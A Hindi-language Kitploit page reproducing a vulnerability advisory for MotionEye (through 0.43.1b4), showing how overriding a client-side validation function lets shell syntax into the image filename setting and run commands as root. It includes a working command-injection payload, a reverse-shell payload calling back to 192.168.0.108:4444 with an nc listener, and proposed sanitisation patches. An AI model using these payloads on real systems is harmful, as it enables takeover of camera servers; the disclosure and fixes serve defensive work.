Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/prabhatverma47/motioneye-rce-through-config-parameter
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubprabhatverma47/motioneye-rce-through-config-parameter

motionEye-RCE-through-config-parameter

इस भेद्यता के लिए PoC चरण

रिपॉजिटरी देखें
21111 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

क्लाइंट-साइड वैलिडेशन बायपास के माध्यम से MotionEye RCE

सारांश

डॉकर में चल रहे MotionEye इंस्टेंस के सुरक्षा परीक्षण के दौरान, यह देखा गया कि वेब UI के भीतर क्लाइंट-साइड वैलिडेशन को बायपास किया जा सकता है। इससे मनमाना इनपुट सबमिट किया जा सकता है, जिसमें ऐसे पेलोड भी शामिल हैं जो होस्ट कंटेनर पर निष्पादन ट्रिगर कर सकते हैं। यह समस्या शोषण किए जाने पर रिमोट कोड एक्ज़ीक्यूशन (RCE) का जोखिम पैदा करती है।

प्रभावित संस्करण: 0.43.1b4 तक के सभी संस्करण
पैच स्थिति: अभी तक कोई पैच उपलब्ध नहीं है। इस एडवाइज़री में एक वर्कअराउंड दिया गया है।
प्रोजेक्ट संदर्भ: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


पर्यावरण

  • लक्ष्य: डॉकर में चल रहा MotionEye
  • इमेज: ghcr.io/motioneye-project/motioneye:edge
  • एक्सपोज़्ड पोर्ट: कंटेनर के 8765 से मैप किया गया 9999
  • परीक्षण क्रेडेंशियल: admin / खाली पासवर्ड (डिफ़ॉल्ट)

पुनरुत्पादन के चरण

1. कंटेनर सेटअप

Docker इमेज डाउनलोड शुरू करने और कंटेनर प्रारंभ करने के लिए निम्न कमांड चलाएँ

root@kitploit:~
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
image

2. संस्करण सत्यापन

root@kitploit:~
docker logs motioneye | grep "motionEye server"

परिणाम: MotionEye सर्वर 0.43.1b4 image

3. फ़ाइल सिस्टम एक्सेस

डॉकर कंटेनर चालू होने के बाद, निम्न कमांड का उपयोग करके कंटेनर शेल तक पहुँचा जा सकता है

root@kitploit:~
docker exec -it motioneye /bin/bash
ls -la /tmp
image

4. प्रारंभिक एक्सेस

वेब इंटरफ़ेस यहाँ एक्सेस करें:
http://127.0.0.1:9999
लॉगिन: admin (खाली पासवर्ड)

5. कैमरा सेटअप

सैंपल RTSP नेटवर्क कैमरा जोड़ा गया।
image

6. इंजेक्शन प्रयास

“स्टिल इमेजेस” > “इमेज फ़ाइल नाम” में एक दुर्भावनापूर्ण निष्पादन कमांड दर्ज किया गया था , लेकिन क्लाइंट-साइड वैलिडेशन त्रुटि उत्पन्न हुई।

root@kitploit:~
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

क्लाइंट-साइड वैलिडेशन द्वारा अवरुद्ध।
image

image

7. क्लाइंट-साइड वैलिडेशन खोज

निम्न स्क्रिप्ट वैलिडेशन के लिए ज़िम्मेदार है: /static/js/main.js?v=0.43.1b4, जो वैलिडेशन शर्तों को लागू करने के लिए /static/js/ui.js?v=0.43.1b4 को संदर्भित करती है।

फ़ाइल: /static/js/main.js?v=0.43.1b4 जो /static/js/ui.js?v=0.43.1b4 को संदर्भित करती है

root@kitploit:~
function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}

8. बायपास तकनीक

ब्राउज़र कंसोल में configUiValid फ़ंक्शन को ओवरराइड करके, सभी वैलिडेशन जाँचों को बायपास किया जा सकता है: ब्राउज़र के कंसोल में नीचे दिया गया स्निपेट दर्ज करें (F12 या Ctrl+Shift+I)

root@kitploit:~
configUiValid = function() { 
    return true; 
};
image

9. पेलोड निष्पादन

अब पेलोड को बिना किसी वैलिडेशन के सीधे दर्ज किया जा सकता है: नीचे के अनुसार सेट करें और सेटिंग्स लागू करें

सेटिंग्स:

  • कैप्चर मोड = इंटरवल स्नैपशॉट्स
  • इंटरवल = 10
  • इमेज फ़ाइल नाम:
root@kitploit:~
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

लागू किया गया → रूट अनुमतियों के साथ फ़ाइल बनाई गई।

image

प्रभाव: RCE को हथियार बनाना

सरल रिवर्स शेल उत्पादन:

लिसनर:

root@kitploit:~
nc -lvnp 4444
image

इंजेक्ट किया गया पेलोड:

root@kitploit:~
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
image

परिणाम: रिमोट शेल प्राप्त हुआ।


मूल कारण और प्रवाह

MotionEye कमज़ोर है क्योंकि यह वेब डैशबोर्ड से उपयोगकर्ता इनपुट लेता है और खतरनाक वर्णों की जाँच किए बिना उसे सीधे Motion कॉन्फ़िग फ़ाइलों में लिख देता है। उदाहरण के लिए, UI में image_file_name फ़ील्ड को बैकएंड (config.py) पर भेजा जाता है और /etc/motioneye/camera-.conf में सहेजा जाता है। जब MotionEye Motion सेवा (motionctl.start) को पुनरारंभ करता है, तो Motion प्रक्रिया इस कॉन्फ़िग फ़ाइल को पढ़ती है। यदि picture_filename फ़ील्ड में $(touch /tmp/test) जैसा शेल सिंटैक्स होता है, तो Motion इसे फ़ाइलनाम के हिस्से के रूप में मानने के बजाय वास्तविक कमांड के रूप में चलाएगा।

Motion कॉन्फ़िग फ़ाइलों में लिखा गया अनसैनिटाइज़्ड इनपुट:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload


रोकथाम

सैनिटाइज़ेशन फिक्स

फ़ाइल: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

root@kitploit:~
def sanitize_filename(value):
    # allow only letters, numbers, %, _, -, /, .
    for ch in value:
        if not (ch.isalnum() or ch in "%-_/."):
            return "%Y-%m-%d/%H-%M-%S"  # safe fallback
    return value
image

सैनिटाइज़ेशन लागू करें:

root@kitploit:~
data['picture_filename']  = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])

पहले: image बाद में: image


वैकल्पिक समाधान

चरण 1: Docker चलाएँ

root@kitploit:~
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

चरण 2: कंटेनर एक्सेस करें

root@kitploit:~
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py

चरण 3: कॉन्फ़िग संशोधित करें

मूल:

root@kitploit:~
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]

इससे बदलें:

root@kitploit:~
import re

on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
image

चरण 4: पुनरारंभ करें

root@kitploit:~
docker restart motioneye
image

वैकल्पिक पैच

motion_camera_ui_to_dict(...) के अंदर:

मूल:

root@kitploit:~
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']

इससे बदलें:

root@kitploit:~
from re import sub
data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')

टूल डाउनलोड करें